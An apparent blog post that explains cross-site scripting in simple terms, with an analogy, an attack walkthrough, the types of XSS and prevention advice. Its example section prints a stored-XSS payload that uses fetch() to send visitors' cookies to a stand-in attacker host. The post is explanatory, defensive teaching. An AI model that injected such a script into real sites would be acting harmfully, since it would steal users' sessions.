Skip to main content

Command Palette

Search for a command to run...

🎨 XSS Explained Like You're 5

Published
β€’2 min read
S

Building AI systems and writing about how they actually work. Master of AI @ University of Technology Sydney. Previously B.Tech CS with focus on IoT. I believe the best way to learn is to explain. That's why I'm documenting tech concepts with simple analogies (@sreekarreddy.com). AWS Certified β€’ Azure AI Certified β€’ Neo4j Professional β€’ Google Data Analytics When not coding: exploring Sydney, working on side projects, and teaching tech to anyone who'll listen.

Injecting malicious scripts into websites

Day 88 of 149

πŸ‘‰ Full deep-dive with code examples


The Graffiti Analogy

Imagine someone spray-painting a message on a public bulletin board.

Many people who read the board see the message as if it were official.

XSS is digital graffiti on websites!


How XSS Works

1. Attacker finds input that displays on page (comments)
2. Instead of normal comment, they submit:
   <script>steal(document.cookie)</script>
3. Website displays it without checking
4. Victim visits page β†’ their browser runs attacker's code!
5. Code steals cookies, redirects, etc.

Real Example

<!-- Vulnerable comment section -->
<div class="comment">Nice post!</div>
<div class="comment">
  <script>
    fetch("https://evil.com/steal?cookie=" + document.cookie);
  </script>
</div>

When you view this page, YOUR cookies get stolen!


Types of XSS

TypeWhere Code Lives
StoredIn database (persists)
ReflectedIn URL (one-time)
DOM-basedIn JavaScript (client-side)

Prevention

// Avoid inserting user input directly!
// Escape special characters:
"<script>" β†’ "&lt;script&gt;"

Also use: Content Security Policy, HttpOnly cookies


In One Sentence

XSS attacks inject malicious JavaScript into websites that runs in other users' browsers.


πŸ”— Enjoying these? Follow for daily ELI5 explanations!

Making complex tech concepts simple, one day at a time.

More from this blog

esreekarreddy

132 posts